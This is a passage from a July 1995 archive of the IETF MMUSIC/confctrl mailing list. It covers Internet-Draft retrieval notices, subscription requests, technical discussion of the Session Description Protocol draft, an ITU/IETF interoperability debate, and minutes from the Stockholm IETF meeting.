joint control.  Much of this state is "ephemeral", in that it is of 
importance only for the duration of a session, and does not have importance
outside of the session itself.  In this paper we focus on the specification
and realization of policies for managing this shared ephemeral 
teleconferencing state.  We first define a broad family of policies which 
has three dimensions:  initiation, voting and consistency.  We then 
consider three different communication models, and for each model present a
mechanism which implements this family of policies.  

This specification is a product of the Multiparty Multimedia Session 
Control working group within the Internet Engineering Task Force. 
Comments are solicited and should be addressed to the working group's 
mailing list at conctrl@isi.edu and/or the authors.                                          

Internet-Drafts are available by anonymous FTP.  Login with the username
"anonymous" and a password of your e-mail address.  After logging in,
type "cd internet-drafts" and then
     "get draft-ietf-mmusic-agree-00.txt".
 Or 
     "get draft-ietf-mmusic-agree-00.ps".
A URL for the Internet-Draft is:
ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-agree-00.txt
 
Internet-Drafts directories are located at:	
	                                                
     o  Africa                                   
        Address:  ftp.is.co.za (196.4.160.8)	
	                                                
     o  Europe                                   
        Address:  nic.nordu.net (192.36.148.17)	
        Address:  ftp.nis.garr.it (192.12.192.10)
	                                                
     o  Pacific Rim                              
        Address:  munnari.oz.au (128.250.1.21)	
	                                                
     o  US East Coast                            
        Address:  ds.internic.net (198.49.45.10)	
	                                                
     o  US West Coast                            
        Address:  ftp.isi.edu (128.9.0.32)  	
	                                                
Internet-Drafts are also available by mail.	
	                                                
Send a message to:  mailserv@ds.internic.net. In the body type: 
     "FILE /internet-drafts/draft-ietf-mmusic-agree-00.txt".
 Or 
     "FILE /internet-drafts/draft-ietf-mmusic-agree-00.ps".
							
NOTE: The mail server at ds.internic.net can return the document in
      MIME-encoded form by using the "mpack" utility.  To use this
      feature, insert the command "ENCODING mime" before the "FILE"
      command.  To decode the response(s), you will need "munpack" or
      a MIME-compliant mail reader.  Different MIME-compliant mail readers
      exhibit different behavior, especially when dealing with
      "multipart" MIME messages (i.e., documents which have been split
      up into multiple messages), so check your local documentation on
      how to manipulate these messages.
							
For questions, please mail to Internet-Drafts@cnri.reston.va.us.
							

Below is the data which will enable a MIME compliant mail reader 
implementation to automatically retrieve the ASCII version
of the Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type:  Message/External-body;
        access-type="mail-server";
        server="mailserv@ds.internic.net"

Content-Type: text/plain
Content-ID: <19950707181751.I-D@CNRI.Reston.VA.US>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-agree-00.txt

--OtherAccess
Content-Type:   Message/External-body;
        name="draft-ietf-mmusic-agree-00.txt";
        site="ds.internic.net";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID: <19950707181751.I-D@CNRI.Reston.VA.US>

--OtherAccess--

--NextPart--


From owner-confctrl@ISI.EDU  Wed Jul 12 18:58:54 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15010>; Tue, 11 Jul 1995 15:57:23 -0700
Received: from babe.snrc.uow.edu.au by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15006>; Tue, 11 Jul 1995 15:57:19 -0700
Received: (from chris@localhost) by babe.snrc.uow.edu.au (8.6.9/8.6.9) id IAA05839 for confctrl@isi.edu; Wed, 12 Jul 1995 08:58:54 +1000
Date: Wed, 12 Jul 1995 08:58:54 +1000
From: Chris Stacey <chris@snrc.uow.edu.au>
Message-Id: <199507112258.IAA05839@babe.snrc.uow.edu.au>
To: confctrl
Subject: Subscribe
Return-Receipt-To: chris@snrc.uow.edu.au
X-Sun-Charset: US-ASCII


subscribe chris stacey

My apologies if this is the list address rather than the server address.
I got it from the coverpage of an Internet-draft which listed this
address only.

Chris
---------------------------------------------------------------------------
Electrical & Computer Engineering   .---.     E-mail: chris@snrc.uow.edu.au
University of Wollongong           |  ___\    Phone:  +61-42-214630
Northfields Avenue, Wollongong      \/    \   Fax:    +61-42-213236
NSW 2522, Australia                 ^^
     

From owner-confctrl@ISI.EDU  Wed Jul 12 16:22:18 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10097>; Wed, 12 Jul 1995 07:23:01 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10093>; Wed, 12 Jul 1995 07:23:00 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA13279>; Wed, 12 Jul 1995 07:22:56 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.18877-0@bells.cs.ucl.ac.uk>; Wed, 12 Jul 1995 15:22:30 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: confctrl
Cc: remconf@es.net
Subject: Session Description Protocol pre-draft (1.4)
Date: Wed, 12 Jul 95 15:22:18 +0100
Message-Id: <12996.805558938@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


Unfortunately I missed the I-D deadline for the Stockholm IETF (spent
too much time re-configuring the European Mbone in time for the IETF!)

There is a new SDP draft, but as I've already missed the deadline, I
thought I'd just release it to confctrl and remconf for now, and then
amend it and release it properly after the IETF along with a draft
desribing the announcement protocol, which has now been removed from
the SDP draft.

Quite a bit has changed - though almost all of the changes have been
discussed either in Danvers or on the confctrl list.

You can get a copy from:
http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.01.ps

Mark


From owner-confctrl@ISI.EDU  Thu Jul 13 10:09:24 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA03073>; Thu, 13 Jul 1995 11:10:03 -0700
Received: from cerc.wvu.edu (cathedral.cerc.wvu.edu) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA03069>; Thu, 13 Jul 1995 11:10:02 -0700
Received: from calhoun (calhoun.cerc.wvu.edu) by cerc.wvu.edu (4.1/SMI-4.0:RAL-041790)
	id AA29140; Thu, 13 Jul 95 14:09:56 EDT
From: mo@cerc.wvu.edu (Monty Gill)
Received: by calhoun 
        (5.65//ident-1.0) id AA21726; Thu, 13 Jul 1995 14:09:24 -0400 
Date: Thu, 13 Jul 1995 14:09:24 -0400
Message-Id: <9507131809.AA21726@calhoun>
Apparently-To: confctrl

subscribe 

From owner-confctrl@ISI.EDU  Thu Jul 13 11:51:53 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA07905>; Thu, 13 Jul 1995 12:51:56 -0700
Received: from cerc.wvu.edu (cathedral.cerc.wvu.edu) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA07901>; Thu, 13 Jul 1995 12:51:55 -0700
Received: from cherry (cherry.cerc.wvu.edu) by cerc.wvu.edu (4.1/SMI-4.0:RAL-041790)
	id AA01795; Thu, 13 Jul 95 15:51:54 EDT
From: mo@cerc.wvu.edu (Monty Gill)
Received: by cherry 
        (5.0//ident-1.0) id AA15848; Thu, 13 Jul 1995 15:51:54 -0400 
Message-Id: <9507131951.AA15848@cherry>
Subject: Subscription...
To: confctrl
Date: Thu, 13 Jul 1995 15:51:53 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 10        

subscribe

From owner-confctrl@ISI.EDU  Thu Jul 13 12:55:28 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10649>; Thu, 13 Jul 1995 13:54:07 -0700
Received: from PEGASUS.NCSL.NIST.GOV by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10644>; Thu, 13 Jul 1995 13:53:59 -0700
Received: from zorba.ncsl.nist.gov by pegasus.ncsl.nist.gov (4.1/NIST-dsys)
	id AA20404; Thu, 13 Jul 95 16:54:44 EDT
Organization: National Institute of Standards and Technology
Date: Thu, 13 Jul 95 16:55:28 EDT
From: Su-Yeon Kim <sykim@pegasus.ncsl.nist.gov>
Subject: Subscribe me
To: confctrl
X-Mailer: Chameleon - TCP/IP for Windows by NetManage, Inc.
Message-Id: <Chameleon.4.00.950713165559.sykim@zorba.ncsl.nist.gov>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


-------------------------------------
Su-Yeon Kim
225, NIST, A53
Gaithersburg, MD20879
E-mail: sykim@pegasus.ncsl.nist.gov
Home phone : 1-301-330-8508
Office phone : 1-301-975-4865
Office Fax      : 1-301-216-1369
Date: 02/16/95
Time: 14:13:03 
-------------------------------------



From owner-confctrl@ISI.EDU  Thu Jul 13 07:47:59 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA13034>; Thu, 13 Jul 1995 14:48:25 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA13030>; Thu, 13 Jul 1995 14:48:25 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA26303; Thu, 13 Jul 95 14:48:01 PDT
Message-Id: <9507132148.AA26303@std.sri.com>
To: m.handley@cs.ucl.ac.uk
Cc: confctrl, rlang@std.sri.com
Subject: Re: Session Description Protocol pre-draft (1.4)
Date: Thu, 13 Jul 1995 14:47:59 -0700
From: Ruth Lang <rlang@std.sri.com>


Mark,

Thanks for advertising the availability of the revised SDP draft.  I
have a couple of structural and a couple of technical comments.

I suggest moving Section 3 (Usage) after the specification of SDP
itself.  I.e., describe SDP then describe how it is used.  You could
move from the Usage to the Background section the description of SDP
in the context of Sd (i.e., SDP v1 is the text payload format of the
Sd packet).

Section 4.1 mentions both multicast and unicast sessions.  Later in
the document (m= description), unicast is narrowed to UDP.  Some media
agents (e.g., shared workspace agents) or multi-user applications used
in a conference may require TCP.  Do you object to expanding m= to
include TCP?

Section 5, paragraph 3 describes restriction of including 1 session
description in an SDAP packet while multiple are permitted if
transmitted by other means.  This would be better mentioned in the
Usage section.

How would I go about describing a group of non-multicast multi-user
applications which use a) the same port across the group of
participants, b) different ports (i.e., host, port pair is unique per
participant)?  For a) having multiple c= lines in the session
description portion and/or permitting a list of addresses in the
address subfield (for the case in which the address type was the same)
would work.  For b), one could develop individual media descriptions
for each of the multi-user applications.  Are there other ways to go
about this?

Regards,

Ruth




From owner-confctrl@ISI.EDU  Fri Jul 14 00:13:26 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA14344>; Thu, 13 Jul 1995 15:14:36 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA14338>; Thu, 13 Jul 1995 15:14:35 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03289>; Thu, 13 Jul 1995 15:14:29 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.18730-0@bells.cs.ucl.ac.uk>; Thu, 13 Jul 1995 23:13:40 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: Ruth Lang <rlang@std.sri.com>
Cc: confctrl
Subject: Re: Session Description Protocol pre-draft (1.4)
In-Reply-To: Your message of "Thu, 13 Jul 95 14:47:59 PDT." <9507132148.AA26303@std.sri.com>
Date: Thu, 13 Jul 95 23:13:26 +0100
Message-Id: <19875.805673606@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>Section 4.1 mentions both multicast and unicast sessions.  Later in
>the document (m= description), unicast is narrowed to UDP.  Some media
>agents (e.g., shared workspace agents) or multi-user applications used
>in a conference may require TCP.  Do you object to expanding m= to
>include TCP?

Nothing in the section on media announcements precludes TCP, but I
agree it should be defined as one of the transport protocols.  This
was one of the main points in adding a transport subfield the the
media announcement field in addition to the address type (badly
named!) subfield of the "c" field.

>Section 5, paragraph 3 describes restriction of including 1 session
>description in an SDAP packet while multiple are permitted if
>transmitted by other means.  This would be better mentioned in the
>Usage section.

Yes.  It was there last time though, but people complained it was
unclear :-)  Probably means the preceding sentences should be rephrased.

>How would I go about describing a group of non-multicast multi-user
>applications which use a) the same port across the group of
>participants, b) different ports (i.e., host, port pair is unique per
>participant)?

This depends so much on the distribution mechanism, but lets assume
for a second you dont multicast announce a unicast conference.  If you
unicast the SDP messages to each participant (using HTTP or whatever),
you can have a unique SDP message per participant.  Each c field gives
the address of the mixer or whatever it is the participant should
contact.

>For a) having multiple c= lines in the session
>description portion and/or permitting a list of addresses in the
>address subfield (for the case in which the address type was the same)
>would work.  

This wasn't the model - the c fields are the address the participant
should contact, not the invitee's address (which they presumably
already know).

Mark

From owner-confctrl@ISI.EDU  Thu Jul 13 11:22:17 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00961>; Thu, 13 Jul 1995 18:22:32 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00956>; Thu, 13 Jul 1995 18:22:32 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA26693; Thu, 13 Jul 95 18:22:19 PDT
Message-Id: <9507140122.AA26693@std.sri.com>
To: M.Handley@cs.ucl.ac.uk
Cc: confctrl, rlang@std.sri.com
Subject: Re: Session Description Protocol pre-draft (1.4)
Date: Thu, 13 Jul 1995 18:22:17 -0700
From: Ruth Lang <rlang@std.sri.com>


Mark,

>>How would I go about describing a group of non-multicast multi-user
>>applications which use a) the same port across the group of
>>participants, b) different ports (i.e., host, port pair is unique per
>>participant)?
> 
> This depends so much on the distribution mechanism, but lets assume
> for a second you dont multicast announce a unicast conference.  If you
> unicast the SDP messages to each participant (using HTTP or whatever),
> you can have a unique SDP message per participant.  Each c field gives
> the address of the mixer or whatever it is the participant should
> contact.

If the participants do not contact a single source or mixer but need
to contact each other (i.e., be fully connected), then a single SDP
message to each is not sufficient.  A list is required somewhere to
provide that information (or am I somehow missing your point about
separate announcements?).

Ruth

From owner-confctrl@ISI.EDU  Fri Jul 14 13:40:43 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16238>; Fri, 14 Jul 1995 14:40:52 -0700
Received: from cerc.wvu.edu (cathedral.cerc.wvu.edu) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16234>; Fri, 14 Jul 1995 14:40:51 -0700
Received: from calhoun (calhoun.cerc.wvu.edu) by cerc.wvu.edu (4.1/SMI-4.0:RAL-041790)
	id AA29845; Fri, 14 Jul 95 17:40:50 EDT
From: mo@cerc.wvu.edu (Monty Gill)
Received: by calhoun 
        (5.65//ident-1.0) id AA25727; Fri, 14 Jul 1995 17:40:46 -0400 
Message-Id: <9507142140.AA25727@calhoun>
Subject:  MMUSIC/ITU Interoperability Scenarios 
To: confctrl
Date: Fri, 14 Jul 1995 17:40:43 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1771      


Hi there!

This is in connection with the  MMUSIC/ITU Interoperability Scenarios 
Internet draft by Bormann, Ott.

The scenario that has been presented boils down to the following
three cases (if I have understood correctly) :-

1. Either the ITU compliant products incorporate "understandability"
about the IETF based products (so that only ITU products need to 
understand the packet formats/features etc of the IETF based products and 
not vice versa) OR,

2. The IETF based products make sure they can interoperate with the 
ITU products.

Both the above seem infeasible to me as each of the groups has its
own objective of patronising its protocols.

3. The third alternative from the draft is to have a "gateway" that 
understands both the technologies. This is much like the case of having
Routers which understand and inter-convert LAN protocols like SNA, 
TCP/IP, IPX. So do we see history repeating itself here? I think it is.

In the case of routers as mentioned above, we still don't have a unique
protocol standard, perhaps we never will - because each protocol is
suited to it's kind of environment. The fate of the ITU-MMUSIC struggle
looks pretty much the same. Standards for multimedia conferencing and
all that follows, from both the groups are in almost the same nascent
state. Perhaps, ITU's ISDN based standards succeed finally, perhaps users
prefer LAN based conferencing systems rather than ISDN PSTN kind of
services. I think now it depends only on the end user, unless of course
a major (superior) technology/concept/algorithm invention is brought 
forward from one of the groups.

To put it plain and simple, HAVE WE LOST DIRECTION?
DO WE KNOW WHERE WE ARE HEADED?

Monty Gill

Concurrent Engineering Research Center,
West Virginia Univeristy.

From owner-confctrl@ISI.EDU  Fri Jul 14 08:39:22 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA18456>; Fri, 14 Jul 1995 15:39:35 -0700
Received: from osi-east.es.net by venera.isi.edu (5.65c/5.61+local-22)
	id <AA18451>; Fri, 14 Jul 1995 15:39:34 -0700
Received: from viipuri.nersc.gov by osi-east.es.net with ESnet SMTP (PP);
          Fri, 14 Jul 1995 15:39:24 -0700
Received: by viipuri.nersc.gov (4.1/ESnet-1.2) id AA10168;
          Fri, 14 Jul 95 15:39:22 PDT
Date: Fri, 14 Jul 95 15:39:22 PDT
From: ari@es.net (Ari Ollikainen)
Message-Id: <9507142239.AA10168@viipuri.nersc.gov>
To: confctrl, mo@cerc.wvu.edu
Subject: Re: MMUSIC/ITU Interoperability Scenarios
Reply-To: Ari@es.net

> 
> In the case of routers as mentioned above, we still don't have a unique
> protocol standard, perhaps we never will - because each protocol is
> suited to it's kind of environment. The fate of the ITU-MMUSIC struggle
> looks pretty much the same. Standards for multimedia conferencing and
> all that follows, from both the groups are in almost the same nascent
> state. Perhaps, ITU's ISDN based standards succeed finally, perhaps users
> prefer LAN based conferencing systems rather than ISDN PSTN kind of
> services. I think now it depends only on the end user, unless of course
> a major (superior) technology/concept/algorithm invention is brought 
> forward from one of the groups.

	Just in case you haven't heard it before, or often enough:

	a. The users DON'T CARE what the underlying mechanism is AS LONG 
	   AS the application works with apparent seamlessness!

	b. Users will adapt to low-quality and low-speed multimedia
	   (and conferencing) AS LONG AS it's free or nearly so. (CU-SeeMe, 
	   InternetPhone, NetPhone, VideoVu, QuickTime...)

	c. *Some* users perceive the true value of interoperability through
	    open standards; most don't care (PostScript, M$*, NetWare, ...)
	 
> 
> To put it plain and simple, HAVE WE LOST DIRECTION?
	
	T-120 is a great example of re-invention, duplication of 
	function and creeping featurism to add "data" exchange to the 
	H.320 suite. Some have even seriously suggested running TCP/IP over
	the T.120 data pipe...

	IETF MLPP(MPP) is an elegant solution for adaptive, dymamic bandwidth
	utilization although universally implemented BONDING (H.244) would
	make it unnecessary.

	As long as ITU-T (the telecomm type) and IETF (the packet people)
	can't see eye-to-eye on anything or even understand how their
	DIFFERENT solutions for the same problem(s) ultimately need to 
	converge, the standards processes are severely damaged.

> DO WE KNOW WHERE WE ARE HEADED?
> 
	Obviously NOT.

----------------------D--I--S--C--L--A--I--M--E--R--------------------------
NOTHING in this posting should be misconstrued to represent the view(s)
and/or official position of the US Government, Department of Energy,
University of California, LLNL, RECOM Technologies Inc. or of anyone else 
other than the undersigned

Ari@ES.net _/_/   _/_/_/_/    _/  Ari Ollikainen          {VOX: 510 423-5962}
        _/  _/   _/     _/   _/  Energy Sciences Network  {FAX: 510 423-8744}
     _/_/_/_/   _/_/_/_/    _/  National Energy Research Supercomputer Center 
   _/     _/   _/     _/   _/  Lawrence  Livermore  National  Laboratory
 _/      _/   _/       _/ _/  MailStop L-561, PO BOX 5509, Livermore, CA. 94551
~~RECOM Technologies Inc.~~


From owner-confctrl@ISI.EDU  Mon Jul 17 09:36:25 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA27478>; Mon, 17 Jul 1995 00:36:47 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA27474>; Mon, 17 Jul 1995 00:36:46 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA16719>; Mon, 17 Jul 1995 00:36:45 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04241-0@bells.cs.ucl.ac.uk>; Mon, 17 Jul 1995 08:36:29 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: confctrl
Subject: Agreement Protocol Draft
Date: Mon, 17 Jul 95 08:36:25 +0100
Message-Id: <3410.805966585@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


I just discovered that the agreement protocol draft has been truncated
on all the official internet draft servers.  The complete draft is 
available from the confctrl archive on isi.edu in the confctrl/docs
directory.

For those of you at the IETF, the draft is also in the home directory
of the IETF account (at least it is right now!)

Mark

From owner-confctrl@ISI.EDU  Mon Jul 17 15:37:40 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA03149>; Mon, 17 Jul 1995 16:38:25 -0700
Received: from cerc.wvu.edu (cathedral.cerc.wvu.edu) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA03145>; Mon, 17 Jul 1995 16:38:24 -0700
Received: from calhoun (calhoun.cerc.wvu.edu) by cerc.wvu.edu (4.1/SMI-4.0:RAL-041790)
	id AA11987; Mon, 17 Jul 95 19:37:43 EDT
From: mo@cerc.wvu.edu (Monty Gill)
Received: by calhoun 
        (5.65//ident-1.0) id AA00699; Mon, 17 Jul 1995 19:37:40 -0400 
Message-Id: <9507172337.AA00699@calhoun>
Subject: MMUSIC/ITU Interop scenario
To: T120-Interest@world.std.com (T120 Reco), confctrl, jo@cs.tu-berlin.de
Date: Mon, 17 Jul 1995 19:37:40 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 2384      



This is with regard to the MMUSIC/ITU draft:-  
---------------------------------------------------------------------
6.  Types of interoperation

   Based on these interconnection scenarios, the following scenarios for
   interoperation between ITU and IETF conferencing systems could be
   addressed:

   1)   T.120 ISDN terminal users "phone in" to a classical IETF-style
        WAN internet multicast session (e.g. an IETF broadcast).

        1a)  Actually, not just one terminal but a whole T.120
             conference network is built on the T.120 side.

        1b)  The internet WAN session becomes more controlled than a
             ``classical'' session -- more information needs to be
             relayed to the T.120 session control.  (This, obviously,
             depends on what kind of session control is used on the
             Internet side.)

        The assumption here is that the IETF style conference is the one
        "in control" and "phoners-in" are accepting some semantic
        lossage.  E.g., the T.124 (GCC) conference roster (attendance
        list) could be incomplete, it might not be possible to perform
        certain actions (such as addressing single participants), etc.
---------------------------------------------------------------------
Let us consider a practical scenario as follows:-

The T.120 ISDN terminal users use T.124/GCC and PCS compliant code.
The IETF-style LAN/(or is it WAN?) use RTP over TCP/IP. Now the IETF
style session should be able to "talk" to the T.120 ISDN type of 
conference for interoperability, right? So that means that the IETF
style session should have code to understand the packets sent by the
T.120 guys. I mean it should be able to understand the ISDN transport
protocol that has been implemented in  the T.120  stack.(eg. PCS's
IDLM and RDLM). I am still not able to decide whether this type of 
conversion is possible on the IETF side. Could anyone please enlighten
me?

Also, I am unable to understand the concept of WAN and LAN and its
relationship to ISDN. ISDN is used both LAN as well as WAN specific or do
you assume that ISDN is used primarily over WAN?

Sincerely,

Monty Gill

Concurrent Engineering Research Center,
West Viriginia University.

---------------------------- Disclaimer ---------------------------
My opinions are my own and do not reflect the views of my employer.


From owner-confctrl@ISI.EDU  Thu Jul 20 02:37:34 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28797>; Thu, 20 Jul 1995 02:37:38 -0700
Received: from comsun.chungnam.ac.kr ([168.188.48.17]) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28789>; Thu, 20 Jul 1995 02:37:34 -0700
Received: from  ([168.188.48.45]) by comsun.chungnam.ac.kr (8.6.9H1/8.6.6) with ESMTP id GAA00981 for <confctrl@ISI.EDU.>; Thu, 20 Jul 1995 06:33:32 +0900
Message-Id: <199507192133.GAA00981@comsun.chungnam.ac.kr>
Date: Thu, 20 Jul 1995 18:44:25
From: jgkim@comsun.chungnam.ac.kr
Reply-To: jgkim@comsun.chungnam.ac.kr
Subject: Subscribe
To: confctrl
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Mailer: <WinQVT/Net v3.9>



From owner-confctrl@ISI.EDU  Tue Jul 25 17:47:11 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA07136>; Tue, 25 Jul 1995 08:52:52 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA07132>; Tue, 25 Jul 1995 08:52:51 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA23849>; Tue, 25 Jul 1995 08:52:32 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.20226-0@bells.cs.ucl.ac.uk>; Tue, 25 Jul 1995 16:47:17 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 171 419 3666
To: confctrl
Subject: MMUSIC Minutes
Date: Tue, 25 Jul 95 16:47:11 +0100
Message-Id: <7026.806687231@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


   Multiparty Multimedia Session Control Working Group (MMUSIC)
                   Minutes from the 33rd IETF
                       Stockholm, Sweden
                         18th July 1995

                             Chairs

                Mark Handley, m.handley@cs.ucl.ac.uk
                      Ruth Lang, rlang@sri.com
                Eve Schooler, schooler@cs.caltech.edu

These notes were prepared by Mark Handley.  An on-line copy of the
minutes and the accompanying PostScript slides will shortly be
available from ftp://ftp.isi.edu/confctrl/minutes in the files
ietf.7.95 and slides.7.95.tar.

The Multiparty Multimedia Session Control Working Group (MMUSIC) met
for two sessions on July 17 and 18 at the 33rd IETF.


Carsten Bormann gave a presentation (slides.7.95.a) of the
possibilities for interworking between the ITU T.120 family for
multimedia conferencing and internet based approaches to conferencing.
The ITU appears to be moving towards using RTP or an RTP like protocol
for media data streams, but it is unclear how the conference control
functionality encompassed in the T.120 suite would be achieved over
the wide area internet.  Initially the ITU seems to be interested only
in LAN interoperability.

Three interoperability scenarios were presented, and the implications
examined:

1. T.120 terminal phones in to "classical" IETF multicast session

2. Internet protocols only used locally behind a gateway

3. Tight interworking with the illusion of homogeneity

The issues where there are potential incompatibilities include:

- Resource Control
- Addressing: use of multicast
- Session setup: Prescriptive session description vs negotiated
- Security: cryptography vs link setup authentication

The details of these interoperability scenarios are discussed in more
detail in draft-bormann-mmusic-itu-interop-00.txt.


This presentation was followed by a discussion of how the MMUSIC
working group should relate to the T.120 work.  The rough consensus
was that we should pay attention to the ITU work, and not needlessly
replicate T.120's conference control functionality in an incompatible
way.  However, the opinion was expressed that the group's current
emphasis on wide area scalable multicast based conferencing was
desirable, and that we shouldn't sacrifice the benefits of multicast
based sessions to conform to the ITU tightly coupled model.  No real
conclusion was reached, except that a building blocks approach was
advocated.  


Joerg Ott gave a presentation (slides.7.95.b) of two vertical control
protocols (control protocols between local applications and
controllers) developed at TU Berlin: The LASSO Dictionary and the
Conference Information and Request Protocol (CIRP).  Unlike CCCP and
the control architecture described by Henning Schulzrinne (see
minutes.4.95), these consist of a central (for each participant)
information store, and an access protocol to this data store.  The
dictionaries object store is an acyclic directed graph, which is
sufficient to reflect T.120 conference data, as well as more loosely
couple conferences.  CIRP complements the dictionary and allows a more
flexible asynchronous event triggered interaction style, but still
requires a single conference controller per user.  Work is currently
in progress to unify the dictionary and CIRP.


Mark Handley presented the changes that have been made to the Session
Description Protocol since the Danvers IETF (slides.7.95.c).  The
current version of the draft is available from
http://www.cs.ucl.ac.uk/staff/M.Handley/sdp.01.ps.

The main changes are:
- SDP is longer a superset of the sd protocol.
- the "c" fields have been split into channel and time fields.
- repeat time fields have been completely re-worked.
- origin fields have been completely re-worked, and now uniquely identify
  a session announcement.
- bandwidth fields have been reworked somewhat.
- media fields have been reworked somewhat.
- the Session Description Protocol has been separated into a separate
  draft from the announcement protocol that carries it.

In general the changes attempt to make the protocol more generic and 
more widely applicable.

A number of minor problems with the protocol or the description in the
current draft were noted.  All these changes are fairly minor, but the
most significant are:

- the "o" field allows spaces in the address.  The "c" field does not.
  The incompatibility should be resolved.
- For unicast, the existing "c" field may not be sufficient to
  identify whether the address is to send to or receive from or some
  other semantics.  This should be investigated further.
- <address type> in "o" and "c" fields should probably be two fields:
  <network type> and <address type>
- For unicast, hierarchical encodings need to be able to use multiple
  ports (for multicast they use multiple multicast addresses).  The 
  notation <base address>/<number of addresses> should be extended to
  ports in the media field.

A new draft will be released shortly addressing these issues.
Assuming this does not raise new objections, the consensus of the
group was that we should submit SDP for consideration as a proposed
standard around the time of the Dallas IETF.


It was also flagged that the Agreement Protocol is now available as an
internet draft: draft-ietf-mmusic-agree.{txt,ps}

From owner-confctrl@ISI.EDU  Tue Jul 25 15:59:25 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08639>; Tue, 25 Jul 1995 22:58:25 -0700
Received: from fafner.Stanford.EDU by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08635>; Tue, 25 Jul 1995 22:58:24 -0700
Received: (from mosedale@localhost) by fafner.Stanford.EDU (8.6.10/8.6.6) id WAA24248 for confctrl@isi.edu; Tue, 25 Jul 1995 22:59:25 -0700
From: Dan Mosedale <mosedale@genome.Stanford.EDU>
Message-Id: <199507260559.WAA24248@fafner.Stanford.EDU>
Subject: a few comments on the latest sdp2 draft
To: confctrl
Date: Tue, 25 Jul 1995 22:59:25 -0700 (PDT)
X-Mailer: ELM [version 2.4 PL23]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 699       

I had a couple of short thoughts after reading draft 1.4:

- it seems to me that starting the protocol version number with 0 is
going out of the way to be non-intuitive.  If J. Random Hacker doesn't
happen to go back and look at the spec when coding, he/she will just
naturally assume that SDPv2 is going to have a version number of 2.  I
can't see how it hurts to just start numbering at 2; am I missing
something?

- what is the advantage to having two possible encodings for the time
units?  Doing this means that every program that wishes to parse SDPv2
packets needs to have code to parse both of these formats.  This means
